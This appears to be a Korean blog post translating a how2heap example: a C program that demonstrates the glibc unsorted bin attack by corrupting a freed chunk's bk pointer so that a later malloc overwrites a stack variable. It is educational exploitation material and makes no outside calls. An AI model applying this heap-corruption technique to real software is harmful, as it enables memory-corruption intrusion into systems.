1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34 |
#include <stdio.h>
#include <stdlib.h>
int main(){
printf("이 파일은 large unsigned long 값을 스택에 작성함으로써 unsorted bin attack 을 보여준다.\n");
printf("실제로 unsorted bin attack 은 일반적으로 fastbin attack 을 발생시키기 위해 libc 안에 전역 변수 global_max_fast 를 다시 쓰는 것과 같이 fastbin attack 을 유발한다.\n\n");
// global max fast : to check size of fastbin on your machine
unsigned long stack_var=0;
printf("먼저 stack 에 다시 쓰려고 하는 target address와 값을 보자:\n");
printf("%p: %ld\n\n", &stack_var, stack_var);
unsigned long *p=malloc(400);
printf("이제 우리는 heap: %p 주소에 첫 번째 정상적인 chunk를 할당한다.\n",p);
printf("그리고 free() 중에 첫 번째 chunk 와 top chunk의 병합을 피하기 위해 다른 일반 chunk를 할당한다.\n\n");
malloc(500);
free(p);
printf("이제 우리는 첫 번째 chunk를 free 하고, unsorted bin 에는 %p 를 가리키는 bk pointer 가 삽입될 것이다.\n",(void*)p[1]);
//------------VULNERABILITY-----------
p[1]=(unsigned long)(&stack_var-2);
printf("이제 victim -> bk pointer 를 덮어쓰는 취약점을 에뮬레이트 한다.\n");
printf("그리고 우리는 target address - 16 (32bit 환경에서는 target address - 8) 로 작성한다 : %p\n\n",(void*)p[1]);
//------------------------------------
malloc(400);
printf("우리가 free한 chunk를 얻기 위해 다시 malloc 한다. 이 시간동안에 target address 는 이미 다시 쓰여졌다. :\n");
printf("%p: %p\n", &stack_var, (void*)stack_var);
}
|
cs |
혹시나 잘못된 정보나 번역이 있다면 알려주세요..
'system' 카테고리의 다른 글
c library hook, atexit (0) | 2017.03.29 |
---|---|
[how2heap translation] unsafe_unlink.c (0) | 2017.03.03 |
[how2heap translation] fastbin_dup_into_stack.c (0) | 2017.01.11 |
[how2heap translation] fastbin_dup.c (0) | 2017.01.10 |
MP3 CD Converter Exploit (0) | 2016.11.22 |